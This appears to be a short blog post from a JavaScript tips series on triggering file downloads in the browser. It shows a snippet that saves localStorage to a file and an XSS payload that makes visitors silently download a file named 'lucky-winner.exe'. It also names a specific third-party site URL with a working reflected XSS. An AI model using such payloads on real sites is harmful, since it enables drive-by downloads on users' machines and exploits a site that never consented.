JavaScript Pills - 3. Download a file programmatically [+ website affected by XSS vuln.]steemCreated with Sketch.

in #security6 years ago (edited)

How can we trigger the download of a file in JavaScript?

Here is an example:

const a = document.createElement('a');
a.id = 'down';
a.download = 'test.txt';
a.style= 'display:none';
document.body.appendChild(a);
const makeFile = (txt) => {
   const data = new Blob([txt], {type: 'text/plain'});
   return window.URL.createObjectURL(data);
};
document.getElementById('down').href =
     makeFile(JSON.stringify(localStorage));
document.getElementById('down').click();




Note though that this poses a security risk because if a website is affected by an XSS vulnerability an attacker could drop files on the users' machine.
Let's see a quick example of this scenario.

  1. Take a website affected by XSS.
    Eg. http://porn.porn/tags/%3Cstyle+onload%3D%22alert%28%27HELLO+XSS%21%27%29%22%3E
    ( I found this one the other day after testing a few :D )

  2. Inject a script like:

<style onload=" // or a hidden <iframe>
   const s = document.createElement('script');
   s.text = `
     var a = document.createElement('a')
     a.id = 'jk1';
     a.download = 'lucky-winner.exe';
     a.style= 'display:none';
     document.body.appendChild(a);
     document.getElementById('jk1').href =
       window.URL.createObjectURL(
         new Blob([/eg./ new Int8Array(4096)], {type: 'application/octet-stream'})
     );
     document.getElementById('jk1').click();
   `;
   document.body.appendChild(s);
"> </style>

The XSS attack works fine in all other major browsers except Chrome. Testing it on the latter the script in the URL is detected and blocked. That's good since in Chrome no permission is requested to the user for the download (you can try that yourself editing the html directly in your browser). Also, a stored XSS of this kind would still work in Chrome too.

OTHER JAVASCRIPT ARTICLES:


Taking a nap
Scraping an email provider
Download files programmatically + XSS
Take screenshots programmatically

Coin Marketplace

STEEM 0.19
TRX 0.12
JST 0.030
BTC 60756.34
ETH 3373.61
USDT 1.00
SBD 2.51